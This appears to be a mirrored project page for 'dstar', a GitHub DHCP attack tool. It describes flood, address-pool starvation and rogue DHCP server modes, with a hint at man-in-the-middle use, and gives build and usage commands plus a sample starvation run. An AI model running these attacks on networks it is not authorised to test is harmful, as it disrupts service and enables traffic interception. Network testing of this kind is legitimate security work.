项目作者: jacopodl

项目描述 :
DHCP attack tool :imp:
高级语言: C++
项目地址: git://github.com/jacopodl/dstar.git
创建时间: 2017-12-28T10:49:42Z
项目社区:https://github.com/jacopodl/dstar

开源协议:GNU General Public License v3.0

下载




GPLv3 License

Dstar :hammer:

This tool implement various DHCP attacks and can be used to make experiments and test on your network!

Supported features:

  • Flood -> Flood DHCP server with large amount of DHCP discover messages (this attack does not acquire addresses!)
  • Starvation -> Try to acquire all addresses in DHCP pool, you can use this option with a rogue DHCP server… MITM? :smirk:
  • Built-in rogue DHCP server

Setting up dstar

First of all getting the code from repository:

  1. $ git clone https://github.com/jacopodl/dstar

Compile it with followings command:

  1. $ cd dstar
  2. $ git submodule init && git submodule update
  3. $ cmake .
  4. $ make

Or if you are very busy:

  1. $ ./build.sh

Usage example

Flood DHCP server with discover messages:

  1. $ sudo ./dstar %interface% --flood

Exhaust DHCP pool and release all addresses on exit:

  1. $ sudo ./dstar %interface% --starvation

without release addresses:

  1. $ sudo ./dstar %interface% --starvation --no-release

Setting up rogue DHCP server with the stolen addresses:

  1. $ sudo ./dstar %interface% --starvation --server

Getting help with:

  1. $ ./dstar --help

Action snapshot :camera:

  1. $ sudo ./dstar %interface% --starvation
  2. @@@@@@@ @@@@@@ @@@@@@@ @@@@@@ @@@@@@@
  3. @@@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@@
  4. @@! @@@ !@@ @@! @@! @@@ @@! @@@
  5. !@! @!@ !@! !@! !@! @!@ !@! @!@
  6. @!@ !@! !!@@!! @!! @!@!@!@! @!@!!@!
  7. !@! !!! !!@!!! !!! !!!@!!!! !!@!@!
  8. !!: !!! !:! !!: !!: !!! !!: :!!
  9. :!: !:! !:! :!: :!: !:! :!: !:!
  10. :::: :: :::: :: :: :: ::: :: :::
  11. :: : : :: : : : : : : : : :
  12. vX.x.x
  13. [<---] DHCP DISCOVER
  14. [--->] DHCP OFFER
  15. [<---] DHCP REQUEST
  16. [--->V] DHCP ACK
  17. Ip:192.168.1.99 - MAC:52:c5:b9:35:0c:42 lease(s):21600
  18. [<---] DHCP DISCOVER
  19. [--->] DHCP OFFER
  20. [<---] DHCP REQUEST
  21. [--->V] DHCP ACK
  22. Ip:192.168.1.118 - MAC:12:3c:09:28:ac:cb lease(s):21600
  23. [<---] DHCP DISCOVER
  24. ^CStopping...
  25. Releasing addresses...
  26. All done!

Possible improvements:

  • Multithread capability
  • DHCPv6